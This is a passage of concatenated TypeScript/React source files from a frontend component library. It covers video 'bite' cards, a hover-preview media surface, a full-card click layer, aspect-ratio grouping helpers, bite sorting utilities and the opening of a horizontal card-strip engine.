RATIO_TO_CSS_ASPECT[ratioToCategory(detectAspectRatio(bite.aspect_ratio))];\n  const targetHref = bite.href ?? sectionHref;\n  const hasTarget = !!(targetHref || bite.onNavigate || onBiteNavigate);\n  // Strip keys and navigation stay on the RAW bite.url — the surface applies\n  // the rendition cap internally, so keys are stable regardless of the cap.\n  const key = cardKey ?? `${bite.url}__${index}`;\n\n  // Hover activation: controlled by the strip (activeKey) or self-managed\n  // when rendered standalone (admin editor).\n  const controlled = active !== undefined;\n  const [selfActive, setSelfActive] = useState(false);\n  const isActive = controlled ? !!active : selfActive;\n  const activate = () => (controlled ? onActivate?.(key) : setSelfActive(true));\n  const deactivate = () => (controlled ? onDeactivate?.(key) : setSelfActive(false));\n\n  const navigate = () => {\n    if (bite.onNavigate) bite.onNavigate();\n    else onBiteNavigate?.(bite, index);\n  };\n\n  const handlePointerEnter = () => { if (!isTouch) activate(); };\n  const handlePointerLeave = () => { if (!isTouch) deactivate(); };\n  const handleClick = () => { if (isTouch && !isActive) activate(); };\n\n  // Bottom-docked detail (Figma node 4033:90369): title row + profile row +\n  // chevron affordance. The WHOLE footer is the navigation target — it links\n  // to the entity the bite originated from. In the editor the title row is\n  // the inline title editor (edited directly on the card).\n  const titleClass = \"text-h6 text-ods-text-primary\";\n  const overlayContent = (\n    <>\n      {titleEditable ? (\n        // Textarea, not input: the public title wraps to two lines\n        // (line-clamp-2) and the editor must render identically. rows=1 +\n        // auto-grow keeps short titles single-line; max-height caps at the\n        // same two lines the clamp allows.\n        <textarea\n          value={bite.title || ''}\n          placeholder=\"Title (optional)\"\n          aria-label=\"Bite title\"\n          rows={1}\n          onChange={e => {\n            e.target.style.height = 'auto';\n            e.target.style.height = `${Math.min(e.target.scrollHeight, 40)}px`;\n            onTitleChange?.(e.target.value);\n          }}\n          ref={el => {\n            if (el) {\n              el.style.height = 'auto';\n              el.style.height = `${Math.min(el.scrollHeight, 40)}px`;\n            }\n          }}\n          onBlur={e => onTitleCommit?.(e.target.value)}\n          onClick={e => e.stopPropagation()}\n          className={cn(\n            titleClass,\n            'w-full max-h-10 resize-none overflow-hidden bg-transparent outline-none',\n            'placeholder:text-ods-text-secondary border-b border-transparent focus:border-ods-border',\n          )}\n        />\n      ) : (\n        bite.title && <p className={cn(titleClass, 'line-clamp-2')}>{bite.title}</p>\n      )}\n      {(profile || hasTarget) && (\n        <div className=\"flex items-center gap-2 min-w-0\">\n          {profile && (\n            <UserDisplay\n              name={profile.name}\n              avatarUrl={profile.avatarUrl}\n              subtitle={profile.subtitle}\n              size={22}\n              shape=\"round\"\n              compact\n              className=\"flex-1\"\n            />\n          )}\n          {hasTarget && (\n            <Chevron02RightIcon className=\"w-5 h-5 shrink-0 ml-auto text-ods-text-primary\" />\n          )}\n        </div>\n      )}\n    </>\n  );\n\n  // Figma node 4033:90369 exactly: pure-black 75% fill (Tailwind palette\n  // black — NOT a glassy backdrop blur; Figma has no background blur here),\n  // full soft-grey border, p-16/gap-16, large soft drop shadow.\n  const overlayClass = cn(\n    'absolute inset-x-0 bottom-0 p-3 gap-2 bg-black/75 border border-ods-border shadow-2xl',\n    'flex flex-col transition-opacity duration-200',\n    isActive ? 'opacity-100' : 'opacity-0 group-hover/card:opacity-100 group-focus-within/card:opacity-100',\n    // Non-interactive while invisible so it never swallows clicks on the\n    // resting card / player controls.\n    isActive ? 'pointer-events-auto' : 'pointer-events-none',\n  );\n\n  // Full-card click target (above the visual overlay (z-[5] vs its auto), below the surface's own z-10 children (play badge, unmute button) which must stay clickable). Mirrors\n  // the walkthrough card: a hit layer owns the click, the overlay owns the look.\n  // ALWAYS interactive. The old overlay was hover-gated because it was a\n  // visible panel that would otherwise swallow clicks while invisible; a\n  // contentless hit layer has no such problem, and gating it meant the media\n  // element received the pointer instead — so a resting card showed `cursor:\n  // auto` over the play glyph even though the glyph accented on hover.\n  // Touch keeps the deliberate two-tap model (tap 1 previews, tap 2 opens), so\n  // the layer stays inert until the card is active — making it unconditionally\n  // clickable meant a phone tap navigated instantly and bites could no longer\n  // be previewed on mobile. Mouse/keyboard get it immediately.\n  const hitLayerClass = cn('z-[5]', isTouch && !isActive ? 'pointer-events-none' : 'pointer-events-auto');\n\n  const media = (\n    <div\n      className=\"relative w-full\"\n      // Strip mode: fixed height + aspect drive the width (capped at 90vw,\n      // same as the old single-box layout). Editor mode: width-driven.\n      style={{ aspectRatio: cssAspect, ...(height !== undefined ? { height, maxWidth: STRIP_CELL_MAX_WIDTH } : {}) }}\n    >\n      {/* THE shared hover-preview media zone (poster → facade → badge →\n          controlled hover playback + near-viewport mount gate). The bite strip\n          keeps the internal unmute badge (no overlaying activation button). */}\n      <VideoHoverPreviewSurface\n        url={bite.url}\n        posterUrl={bite.thumbnail_url}\n        active={isActive}\n        playerMounted={playerMounted}\n        isClone={isClone}\n      />\n\n      {hasTarget && !titleEditable ? (\n        // CONTENTLESS full-bleed hit layer + a purely visual overlay — the same\n        // grammar the walkthrough card uses. Previously the anchor/button WAS\n        // the bottom strip, so the card centre (where the play glyph sits) was\n        // not clickable and showed no pointer cursor even though the glyph\n        // accented on hover. One interactive element, no a11y duplication.\n        <>\n          <CardHitLayer\n            label={`Open ${bite.title || 'source content'}`}\n            href={targetHref || undefined}\n            onClick={targetHref ? undefined : navigate}\n            className={hitLayerClass}\n            decorative={isClone}\n          />\n          <div className={cn(overlayClass, 'pointer-events-none')}>{overlayContent}</div>\n        </>\n      ) : (\n        <div className={overlayClass}>{overlayContent}</div>\n      )}\n    </div>\n  );\n\n  return (\n    <div\n      ref={node => rootRef?.(node)}\n      aria-hidden={isClone || undefined}\n      // Hit-test marker for the strip engine's pointer-tracked hover re-sync\n      // (cards move under a stationary pointer — see cards-strip.tsx). The\n      // hover area is exactly this card root: media + overlay + toolbar.\n      data-strip-card-key={key}\n      className={cn(\n        'relative rounded-md border border-ods-border bg-ods-card overflow-hidden group/card',\n        height !== undefined ? 'shrink-0' : 'w-full',\n        className,\n      )}\n      style={height !== undefined ? { maxWidth: STRIP_CELL_MAX_WIDTH } : undefined}\n      onPointerEnter={handlePointerEnter}\n      onPointerLeave={handlePointerLeave}\n      onClick={handleClick}\n      onFocus={activate}\n      onBlur={deactivate}\n    >\n      {media}\n      {toolbar && (\n        // Solid-surface action row UNDER the media (WCAG non-text contrast —\n        // see the `toolbar` prop doc). Part of the card, so hovering it keeps\n        // hover playback alive.\n        <div className=\"flex items-center justify-between gap-1 border-t border-ods-border bg-ods-card px-2 py-1.5\">\n          {toolbar}\n        </div>\n      )}\n    </div>\n  );\n}\n","\"use client\";\n\n/**\n * <VideoHoverPreviewSurface> — THE shared hover-preview media zone.\n *\n * Extracted verbatim from <VideoBiteCard>'s media stack so the bite strip and\n * the floating walkthrough card share ONE implementation of: poster layer\n * (cover-fallback chain) → first-frame facade fallback → center play badge →\n * controlled muted/sound hover playback, plus the two-way near-viewport player\n * mount gate. The <Video> Mux SSoT is the only player primitive used.\n *\n * Ownership split (do not regress):\n *   - This surface renders `absolute inset-0` content only. The HOST keeps the\n *     sized wrapper (aspect-ratio / height / max-width) so strip geometry can't\n *     regress, and keeps its own card-root concerns (data-strip-card-key,\n *     engine rootRef registration, hover/touch handlers, the bottom overlay).\n *   - Hover activation is CONTROLLED via `active` (the host owns hover state).\n *   - Player mount is controlled via `playerMounted` (the strip's shared gate)\n *     OR self-managed here via a two-way near-viewport observer (standalone\n *     editor cards). Exactly one path is ever active.\n */\n\nimport React, { useEffect, useRef, useState } from 'react';\nimport { cn } from '../../utils/cn';\nimport { Video, type VideoPlayerHandle, type VideoMutedFallbackState } from './video';\nimport { toMuxPreviewUrl } from './mux-origins';\nimport { NEAR_VIEWPORT_ROOT_MARGIN } from '../../hooks/use-near-viewport';\nimport Image from '../../embed-shims/next-image';\nimport { useCoverImageFallback } from '../chat/entity-cards/use-cover-image-fallback';\nimport { VideoPlayBadge } from './video-center-badge';\n\nexport interface VideoHoverPreviewSurfaceProps {\n  /** Source URL (Mux HLS / Supabase mp4). Rendition-capped internally. */\n  url: string;\n  /** Poster / thumbnail; resolved through the shared cover-fallback chain. */\n  posterUrl?: string | null;\n  /** CONTROLLED hover activation — the ONLY playback driver (maps to\n   *  <Video playWhenHovered={active}>). The host owns hover state. */\n  active: boolean;\n  /** Controlled player mount (strip budget gate). Omit → surface runs its own\n   *  two-way near-viewport observer. */\n  playerMounted?: boolean;\n  /** Marquee clone: applies `inert` to the media subtree (axe aria-hidden-focus). */\n  isClone?: boolean;\n  /** Center play badge when inactive. Default 'play'. */\n  badge?: 'play' | 'none';\n  /** Object-fit for the hover player. */\n  fit?: 'contain' | 'cover';\n  /** next/image sizes for the poster. Default '234px' (strip cell). */\n  posterSizes?: string;\n  /** Preview-player preload override. When 'none' AND the poster resolves null,\n   *  the network-fetching first-frame facade is SKIPPED (flat surface + badge)\n   *  so a fixed always-near widget card fetches nothing until first hover. */\n  preload?: 'none' | 'metadata' | 'auto';\n  /** Suppress the hover player's internal unmute glyph (host renders its own). */\n  hideMutedBadge?: boolean;\n  /** Muted-fallback state reporter, forwarded to the hover player. */\n  onMutedFallbackChange?: (state: VideoMutedFallbackState) => void;\n  /** Imperative handle for the hover player (host-driven unmute/pause). */\n  previewHandleRef?: React.Ref<VideoPlayerHandle>;\n  /** Standing mute intent from the host, applied when hover playback starts.\n   *  Without it an explicit mute was audibly undone by the next hover. */\n  mutedIntent?: boolean;\n  /** CONTINUATION mode (mini-player resume): mount the player immediately and\n   *  play from `startTime`, independent of `active`/hover. Exists so hosts do\n   *  NOT hand-roll a second player component — one surface, one behaviour. */\n  continuation?: boolean;\n  startTime?: number;\n  /** Play on mount. False resumes PAUSED at `startTime` (theater closed while\n   *  paused) — kept separate from `continuation` so a paused resume still\n   *  mounts and seeks instead of falling back to a poster. */\n  autoPlay?: boolean;\n  startMuted?: boolean;\n  onEnded?: () => void;\n  className?: string;\n}\n\nexport function VideoHoverPreviewSurface({\n  url,\n  posterUrl = null,\n  active,\n  playerMounted,\n  isClone = false,\n  badge = 'play',\n  fit,\n  posterSizes = '234px',\n  preload,\n  hideMutedBadge,\n  onMutedFallbackChange,\n  previewHandleRef,\n  mutedIntent = false,\n  continuation = false,\n  startTime,\n  autoPlay = false,\n  startMuted = false,\n  onEnded,\n  className,\n}: VideoHoverPreviewSurfaceProps): React.ReactElement {\n  // Rendition-capped playback URL: public Mux HLS manifests get\n  // `?max_resolution=720p` (non-Mux URLs pass through). Shared by the facade\n  // and the hover player so both layers reuse the same manifest fetch.\n  const previewUrl = toMuxPreviewUrl(url);\n\n  // Player mount: controlled (strip gate) or a self-managed TWO-WAY\n  // near-viewport observer (standalone). Two-way — players unmount again\n  // >500px away so live MuxPlayer instances stay bounded.\n  const gateControlled = playerMounted !== undefined;\n  const rootElRef = useRef<HTMLDivElement | null>(null);\n  const [isNear, setIsNear] = useState(false);\n  useEffect(() => {\n    if (gateControlled) return;\n    const el = rootElRef.current;\n    if (!el || typeof IntersectionObserver === 'undefined') return;\n    const io = new IntersectionObserver(\n      entries => setIsNear(entries[0]?.isIntersecting ?? false),\n      { rootMargin: NEAR_VIEWPORT_ROOT_MARGIN },\n    );\n    io.observe(el);\n    return () => io.disconnect();\n  }, [gateControlled]);\n  // Continuation forces the media + player on regardless of hover/viewport gate.\n  const showMedia = continuation || (gateControlled ? playerMounted : isNear);\n\n  // Poster resolution — the shared entity-card cover fallback chain: the real\n  // thumbnail, dropped on load error. Null → first-frame facade (unless the\n  // preload-none skip rule applies).\n  const { src: posterSrc, onError: onPosterError } = useCoverImageFallback(posterUrl);\n\n  // Zero-network cost rule: a widget card that passes preload=\"none\" and has no\n  // poster renders a flat card surface + badge, NEVER the metadata-fetching\n  // facade (which would defeat the \"no fetch until hover\" cost decision).\n  const facadeSkipped = preload === 'none' && !posterSrc;\n\n  return (\n    <div ref={rootElRef} className={cn('absolute inset-0', className)} inert={isClone || undefined}>\n      {showMedia ? (\n        <>\n          {posterSrc ? (\n            <Image\n              src={posterSrc}\n              alt=\"\"\n              fill\n              sizes={posterSizes}\n              unoptimized\n              onError={onPosterError}\n              className=\"object-cover\"\n            />\n          ) : facadeSkipped ? (\n            <div className=\"absolute inset-0 bg-ods-card\" />\n          ) : (\n            <Video kind=\"file\" url={previewUrl} firstFrameOnly layout=\"fill\" fit={fit} />\n          )}\n\n          {badge === 'play' && !active && !continuation && (\n            <VideoPlayBadge className=\"absolute inset-0 z-10 m-auto\" />\n          )}\n\n                      <div\n              className=\"absolute inset-0\"\n              style={{ '--media-background-color': 'transparent' } as React.CSSProperties}\n            >\n              <Video\n                // Remount between modes: `startTime` + autoplay are LOAD-TIME\n                // props (playback-core binds them to one-shot durationchange /\n                // loadstart handlers), so re-propping an already-loaded element\n                // silently drops the seek. Only a Mux preview rewrite changed\n                // `src` before, which is why HLS resumed and plain MP4 did not.\n                key={continuation ? 'continuation' : 'preview'}\n                kind=\"file\"\n                // Rendition-capped in BOTH modes: the cap was only skipped\n                // because changing `src` used to be the sole trigger for the\n                // seek; the explicit key handles that now, and a 320px mini\n                // player should never pull the uncapped manifest.\n                url={previewUrl}\n                poster={posterUrl}\n                {...(continuation\n                  ? {\n                      startTime,\n                      autoPlay: autoPlay && startMuted,\n                      startMuted,\n                      autoPlayUnmuted: autoPlay && !startMuted,\n                    }\n                  : { playWhenHovered: active })}\n                chromeless\n                layout=\"fill\"\n                fit={fit}\n                preload={preload}\n                mutedIntent={mutedIntent}\n                hideMutedBadge={hideMutedBadge}\n                onMutedFallbackChange={onMutedFallbackChange}\n                onEnded={onEnded}\n                playerHandleRef={previewHandleRef}\n              />\n            </div>\n        </>\n      ) : (\n        <div className=\"absolute inset-0 bg-ods-card\" />\n      )}\n    </div>\n  );\n}\n","\"use client\";\n\n/**\n * <CardHitLayer> — THE full-bleed click target for media cards.\n *\n * A CONTENTLESS `<a>`/`<button>` stretched over its positioned parent. Cards\n * that show a video with overlaid chrome (walkthrough mini player, video-bite\n * cards) all need the same thing: the whole card is one click target, while the\n * visible label/controls sit above it as their own positioned elements.\n *\n * Why contentless: putting the label INSIDE the interactive element makes the\n * element content-sized, so it collapses around the label instead of covering\n * the card — that produced both a mis-placed title and a mostly-unclickable\n * card in the walkthrough widget. Separating \"what you click\" from \"what you\n * see\" makes both deterministic.\n *\n * Why a component and not a copied className: the two consumers drifted (only\n * one had `cursor-pointer`, only one covered the full card), which is exactly\n * the class of inconsistency this exists to prevent.\n *\n * The host owns stacking + hover gating via `className` (e.g. `z-20`, or the\n * bite strip's touch gating, `isTouch && !isActive`).\n */\n\nimport React from 'react';\nimport { cn } from '../../utils/cn';\n\nexport interface CardHitLayerProps {\n  /** Accessible name. The layer has no content, so this IS its label. */\n  label: string;\n  /** Renders an anchor when set, otherwise a button. */\n  href?: string | null;\n  onClick?: (e: React.MouseEvent) => void;\n  /** Runs before click — used to stop media synchronously (audio-blip guard). */\n  onPointerDown?: (e: React.PointerEvent) => void;\n  /** Stacking + pointer-event gating supplied by the host. */\n  className?: string;\n  /** Marquee loop-clone: keep the pointer affordance and the click, but stay\n   *  out of the a11y tree and the tab order so the duplicate copy does not\n   *  double every link. Without this, clones rendered NO hit layer at all —\n   *  so the visible half of a marquee had no pointer cursor and no click. */\n  decorative?: boolean;\n}\n\n/** Reset every UA affordance so the layer is invisible but clickable. The\n *  pointer cursor comes from the ODS base rule (ods-interaction-states.css),\n *  not from here — one definition for every control in the system. */\nconst HIT_LAYER_BASE =\n  'absolute inset-0 block h-full w-full appearance-none border-0 bg-transparent p-0 ' +\n  // A transparent full-card button is otherwise invisible to keyboard users.\n  'focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-focus';\n\nexport function CardHitLayer({\n  label,\n  href,\n  onClick,\n  onPointerDown,\n  className,\n  decorative = false,\n}: CardHitLayerProps): React.ReactElement {\n  const a11y = decorative\n    ? { 'aria-hidden': true as const, tabIndex: -1 }\n    : { 'aria-label': label };\n  if (href) {\n    return (\n      <a\n        href={href}\n        {...a11y}\n        onClick={onClick}\n        onPointerDown={onPointerDown}\n        className={cn(HIT_LAYER_BASE, className)}\n      />\n    );\n  }\n  return (\n    <button\n      type=\"button\"\n      {...a11y}\n      onClick={onClick}\n      onPointerDown={onPointerDown}\n      className={cn(HIT_LAYER_BASE, className)}\n    />\n  );\n}\n","\"use client\";\n\n/**\n * Aspect-ratio tab + grouping primitives for video surfaces.\n *\n * `RatioTabs` + `RATIO_GRID_CLASS` are ADMIN-ONLY now (VideoBitesEditor,\n * VideoLibraryGrid) — the public grid was replaced by `<VideoBitesStrip>`,\n * which consumes only `detectAspectRatio` + `RATIO_TO_CSS_ASPECT` from here.\n *\n * Why these live here in the lib (not the hub): the strip and the hub's\n * admin editors share the ratio primitives, and the lib is the SSoT.\n */\n\nimport {\n  Tabs,\n  TabsList,\n  TabsTrigger,\n  TabsContent,\n} from '../ui/tabs';\nimport type { VideoTeaser } from '../../types/video-processing';\n\n/**\n * Vizard clip extraction aspect ratios. Mirrors `lib/types/aspect-ratio.ts`\n * in the hub — narrow on purpose. If the hub's `VizardAspectRatio` adds a\n * value, mirror it here.\n */\nexport type VizardAspectRatio = '9:16' | '16:9' | '1:1';\n\n/**\n * Extended VideoTeaser with aspect_ratio metadata from Vizard.\n * The base `VideoTeaser` carries every other persisted bite field\n * (timing/confidence/viral_reason live there); this adds ONLY the\n * ratio. Import this when you need the ratio at compile time —\n * it is the canonical type display/aggregation code extends.\n */\nexport interface VideoTeaserWithRatio extends VideoTeaser {\n  aspect_ratio?: VizardAspectRatio;\n}\n\n/** Ratio category used for grid layout and tab grouping. */\nexport type RatioCategory = 'portrait' | 'square' | 'landscape';\n\n// Shared tab trigger class — matches `<EntityVideoSection>`'s pattern.\nconst TAB_TRIGGER_CLASS =\n  'rounded-none border-b-2 border-transparent data-[state=active]:border-ods-accent data-[state=active]:bg-transparent data-[state=active]:shadow-none px-4 py-2 text-h6 text-ods-text-secondary data-[state=active]:text-ods-text-primary';\n\n/** Grid class for each aspect ratio (admin editors — narrower columns). */\nexport const RATIO_GRID_CLASS: Record<RatioCategory, string> = {\n  portrait: 'grid grid-cols-2 md:grid-cols-3 gap-4',\n  square: 'grid grid-cols-2 md:grid-cols-3 gap-4',\n  landscape: 'grid grid-cols-1 md:grid-cols-2 gap-4',\n};\n\n/** CSS `aspect-ratio` value per category — sizing for strip cards + placeholders. */\nexport const RATIO_TO_CSS_ASPECT: Record<RatioCategory, string> = {\n  portrait: '9 / 16',\n  square: '1 / 1',\n  landscape: '16 / 9',\n};\n\nconst RATIO_TAB_CONFIG: { key: RatioCategory; label: string }[] = [\n  { key: 'portrait', label: 'Portrait 9:16' },\n  { key: 'square', label: 'Square 1:1' },\n  { key: 'landscape', label: 'Landscape 16:9' },\n];\n\ninterface RatioTabsProps {\n  groups: Record<RatioCategory, { count: number; render: () => React.ReactNode }>;\n  defaultTab?: RatioCategory;\n  className?: string;\n}\n\n/**\n * RatioTabs — shared aspect-ratio tab wrapper.\n *\n * Only renders tabs that have content. `forceMount` + `data-[state=inactive]:hidden`\n * keeps inactive tabs in the DOM so switching back doesn't scroll-jump.\n */\nexport function RatioTabs({\n  groups,\n  defaultTab,\n  className = '',\n}: RatioTabsProps) {\n  const activeTabs = RATIO_TAB_CONFIG.filter(t => groups[t.key].count > 0);\n\n  // If only one tab has content, don't show tabs.\n  if (activeTabs.length <= 1) {\n    const active = activeTabs[0];\n    return active ? <>{groups[active.key].render()}</> : null;\n  }\n\n  const firstTab =\n    defaultTab && groups[defaultTab].count > 0 ? defaultTab : activeTabs[0].key;\n\n  return (\n    <Tabs defaultValue={firstTab} className={`w-full ${className}`}>\n      <TabsList className=\"inline-flex justify-start rounded-none bg-transparent h-auto p-0 gap-0 mb-2\">\n        {activeTabs.map(t => (\n          <TabsTrigger key={t.key} value={t.key} className={TAB_TRIGGER_CLASS}>\n            {t.label} ({groups[t.key].count})\n          </TabsTrigger>\n        ))}\n      </TabsList>\n      {activeTabs.map(t => (\n        <TabsContent\n          key={t.key}\n          value={t.key}\n          forceMount\n          className=\"data-[state=inactive]:hidden\"\n        >\n          {groups[t.key].render()}\n        </TabsContent>\n      ))}\n    </Tabs>\n  );\n}\n\n/**\n * Detect aspect ratio from a Vizard ratio string, falling back to\n * inferring from width/height if the string is missing or unknown.\n * Default: portrait (`'9:16'`).\n */\nexport function detectAspectRatio(\n  ratioString?: string,\n  width?: number,\n  height?: number,\n): VizardAspectRatio {\n  if (ratioString === '16:9') return '16:9';\n  if (ratioString === '1:1') return '1:1';\n  if (ratioString === '9:16') return '9:16';\n  if (width && height) {\n    if (Math.abs(width - height) < Math.min(width, height) * 0.1) return '1:1';\n    if (width > height) return '16:9';\n  }\n  return '9:16';\n}\n\n/** Map a `VizardAspectRatio` to its `RatioCategory` for grouping. */\nexport function ratioToCategory(ratio: VizardAspectRatio): RatioCategory {\n  if (ratio === '16:9') return 'landscape';\n  if (ratio === '1:1') return 'square';\n  return 'portrait';\n}\n\n/**\n * Group items by aspect ratio into portrait / square / landscape buckets.\n * `hasMultiple` is true when 2+ buckets are non-empty (drives tab vs. flat\n * grid rendering downstream).\n */\nexport function groupByAspectRatio<T>(\n  items: T[],\n  getAspectRatio: (item: T) => VizardAspectRatio,\n): {\n  portrait: T[];\n  square: T[];\n  landscape: T[];\n  hasMultiple: boolean;\n} {\n  const portrait: T[] = [];\n  const square: T[] = [];\n  const landscape: T[] = [];\n  for (const item of items) {\n    const cat = ratioToCategory(getAspectRatio(item));\n    if (cat === 'landscape') landscape.push(item);\n    else if (cat === 'square') square.push(item);\n    else portrait.push(item);\n  }\n  const filled = [portrait, square, landscape].filter(a => a.length > 0).length;\n  return { portrait, square, landscape, hasMultiple: filled > 1 };\n}\n","/**\n * video-bites-shared — SERVER-SAFE leaf for the video-bites surface.\n *\n * No React imports, no 'use client'. Published as its own subpath\n * (`@flamingo-stack/openframe-frontend-core/components/features/video-bites-shared`)\n * so server-side consumers (the hub's featured-video-bites DAL) can import the\n * title constant, profile adapter, and sort comparator WITHOUT pulling the\n * 'use client' strip/MuxPlayer module graph into a server bundle — same\n * pattern (and reason) as `mux-origins.ts`.\n *\n * Client components (`<VideoBitesStrip>`, the features barrel) re-export from\n * here; there must never be a second definition of any of these.\n */\n\nimport type { VideoTeaser } from '../../types/video-processing'\n\n/** Single exported home for the unified public bites-section title. */\nexport const DEFAULT_VIDEO_BITES_TITLE = 'Key Moments'\n\n/**\n * Profile rendered in the strip's hover overlay. Structurally identical to\n * `UserDisplayProps` — the overlay renders it via `<UserDisplay>` 1:1.\n */\nexport interface VideoBiteStripProfile {\n  name: string\n  avatarUrl?: string | null\n  subtitle?: string | null\n}\n\n/**\n * Adapter SSoT: builds a strip profile from the repo-wide author/user shape\n * (`profiles` rows and hydrated authors all expose full_name / avatar_url /\n * job_title). ALL strip call sites and the featured DAL's mapProfile route\n * through this — never hand-roll the mapping.\n *\n * Returns NULL (never `{name: ''}`) when `full_name` is null/empty: callers\n * rely on `profile ?? fallback` chains, and some producers (e.g. the release\n * kit) pass null-field author stubs.\n */\nexport function toStripProfile(\n  p?: { full_name?: string | null; avatar_url?: string | null; job_title?: string | null } | null,\n  fallbackSubtitle?: string | null,\n): VideoBiteStripProfile | null {\n  if (!p?.full_name) return null\n  return {\n    name: p.full_name,\n    avatarUrl: p.avatar_url ?? null,\n    subtitle: p.job_title ?? fallbackSubtitle ?? null,\n  }\n}\n\n/**\n * Null-safe created_at-desc COMPARATOR (missing dates sort last).\n * Call as `[...arr].sort(sortBitesByCreatedAtDesc)` — shared by the strip,\n * the hub admin editor, and the hub featured DAL.\n */\nexport function sortBitesByCreatedAtDesc(a: VideoTeaser, b: VideoTeaser): number {\n  if (!a.created_at && !b.created_at) return 0\n  if (!a.created_at) return 1\n  if (!b.created_at) return -1\n  return new Date(b.created_at).getTime() - new Date(a.created_at).getTime()\n}\n\n/**\n * FEATURED-recency comparator: `featured_at` DESC — the stamp every featured\n * bite carries (written by the admin star toggle; pre-existing featured bites\n * were backfilled 2026-08-19, so there is no date-fallback ranking). The\n * comparator FEATURED surfaces (the cross-entity aggregation + its strips)\n * must use — ranking those surfaces by `created_at` made featuring any older\n * bite a silent no-op once the surface cap filled with newer bites. A missing\n * stamp (only possible from a stale mid-deploy writer) sorts last.\n */\nexport function sortBitesByFeaturedAtDesc(a: VideoTeaser, b: VideoTeaser): number {\n  if (!a.featured_at && !b.featured_at) return 0\n  if (!a.featured_at) return 1\n  if (!b.featured_at) return -1\n  return new Date(b.featured_at).getTime() - new Date(a.featured_at).getTime()\n}\n","\"use client\";\n\n/**\n * <CardsStrip> — THE horizontal card-strip engine (single source of truth).\n *\n * Extracted verbatim from <VideoBitesStrip> so every strip surface shares ONE\n * marquee/chevron/seam/measure implementation (\"unify means delete\n * variations\"). Two input modes, one engine:\n *\n *   MODE A — render-prop (`items` + `itemKey` + `renderCard`): full control.\n *   The card receives the strip context (controlled activation, clone flag,\n *   shared player-mount gate) and owns its own clone a11y. Used by\n *   <VideoBitesStrip>. The engine adds NO cell wrapper in this mode — the\n *   card's root is the track's direct child (`scrollByCard` measures\n *   `track.firstElementChild.offsetWidth`, and the `flex items-stretch gap-4`\n *   sizing contract depends on it).\n *\n *   MODE B — children (organic): ANY card components as plain JSX children.\n *   Each child is auto-wrapped in a managed cell (fixed width, hover/keyboard\n *   marquee-pause, clone `aria-hidden` + focus-suppressed but still CLICKABLE,\n *   row-height stretch).\n *   Adding a new card type requires ZERO strip code. Contract:\n *   (a) pass an ARRAY of children (`{rows.map(...)}`) — `Children.toArray`\n *       does NOT flatten through a single <Fragment> child (it would become\n *       one giant cell; a dev-only warning fires);\n *   (b) when `autoScroll` is on, children must be ref-free / unique-DOM-id-\n *       free / mount-effect-free — the clone copy mounts the same element a\n *       second time (double-fired effects, duplicate ids, last-mounted ref).\n *\n * Activation invariant: hover/focus activation is wired in exactly ONE place —\n * the managed cell (children mode) OR the card itself (render-prop mode,\n * e.g. <VideoBiteCard>) — never both.\n *\n * Marquee state model (explicit — do not \"simplify\" into one timer):\n * the rAF advances only when the pause-reason set {cardHovered, offViewport,\n * tabHidden, reducedMotion} is empty AND `now > max(chevronSuppressUntil,\n * userScrollSuppressUntil)`. cardHovered means the pointer is over a CARD\n * (incl. its overlay) — leaving the card resumes the marquee immediately.\n * Chevron clicks and manual wheel/touch each set their own suppress-until\n * timestamp; any card-level leave-grace is a separate concern that never\n * touches marquee state.\n */\n\nimport React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport { cn } from '../../utils/cn';\nimport { NEAR_VIEWPORT_ROOT_MARGIN } from '../../hooks/use-near-viewport';\nimport { useMarqueeEngine } from '../../hooks/ui/use-marquee-engine';\nimport { useResetOnPageHidden } from '../../hooks/ui/use-reset-on-page-hidden';\nimport { useSuppressCloneFocus } from '../../hooks/ui/use-suppress-clone-focus';\nimport { Button } from '../ui/button';\nimport { SECTION_HEADING_CLASS } from '../layout/page-heading';\nimport { Chevron02LeftIcon } from '../icons-v2-generated/arrows/chevron-02-left-icon';\nimport { Chevron02RightIcon } from '../icons-v2-generated/arrows/chevron-02-right-icon';\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Per-card strip context passed to `renderCard` (and used internally by the\n *  children-mode managed cell). */\nexport interface CardStripRenderCtx {\n  /** Item index (copy-independent — the clone copy repeats the same indices). */\n  index: number;\n  /** `${itemKey}__${copyIndex}__${index}` — unique per rendered card, even for\n   *  duplicate items (the trailing index disambiguates). */\n  cardKey: string;\n  isClone: boolean;\n  isTouch: boolean;\n  /** Engine's (max-width: 767px) media query. */\n  isMobile: boolean;\n  /** activeKey === cardKey (controlled hover/focus activation). */\n  active: boolean;\n  onActivate: (key: string) => void;\n  onDeactivate: (key: string) => void;\n  /** Shared-by-index 500px near-viewport gate (opt-in — only meaningful when\n   *  the card registers via `rootRef`). */\n  mounted: boolean;\n  /** Registers the card root with the mount-gate IntersectionObserver.\n   *  May return a cleanup (React 19 ref contract). */\n  rootRef: (el: HTMLDivElement | null) => (() => void) | undefined;\n}\n\ninterface CardsStripEngineProps {\n  /** Section heading. Omit `title` (or set `showTitle={false}`) to hide. */\n  title?: string;\n  showTitle?: boolean;\n  /** Custom node rendered between the heading and the strip. */\n  headerSlot?: React.ReactNode;\n  /** Marquee auto-scroll. Auto-disabled on no-overflow and\n   *  prefers-reduced-motion. Pass `autoScroll={false}` for chevron-style\n   *  entity strips — the default stays `true` for bites-contract parity. */\n  autoScroll?: boolean;\n  /** Marquee speed in px/s. Default 60 — marquee libraries (e.g. GSAP marquee)\n   *  default around 100px/s; 60 keeps drift lively while cards stay easy to\n   *  hover-target. 60px/s ≈ 1px per 60Hz frame, the smoothest integer step. */\n  autoScrollSpeed?: number;\n  /** Pause the marquee while a CARD is hovered (resumes as soon as the\n   *  pointer leaves the card — strip whitespace/heading never pauses). */\n  pauseOnHover?: boolean;\n  /** Floating prev/next buttons. Hidden automatically when nothing overflows. */\n  showChevrons?: boolean;\n  /** Chevron aria-labels. */\n  prevLabel?: string;\n  nextLabel?: string;\n  /** Merged into the engine's wrapper ref (e.g. `useVideoWarmup().ref`). */\n  rootRef?: (el: HTMLDivElement | null) => void;\n  className?: string;\n}\n\n// The two mode interfaces hand-mirror each other's field names as `never` —\n// INVARIANT: every field added to one mode gets a `never` twin in the other,\n// or the XOR discrimination silently weakens (mixed-mode props become\n// assignable). Same manual pattern as social-icon-row.tsx / chart.tsx.\n\n/** MODE A — render-prop (advanced): full ctx control, no cell wrapper. */\ninterface RenderCardMode<T> {\n  items: ReadonlyArray<T>;\n  itemKey: (item: T, index: number) => string;\n  renderCard: (item: T, ctx: CardStripRenderCtx) => 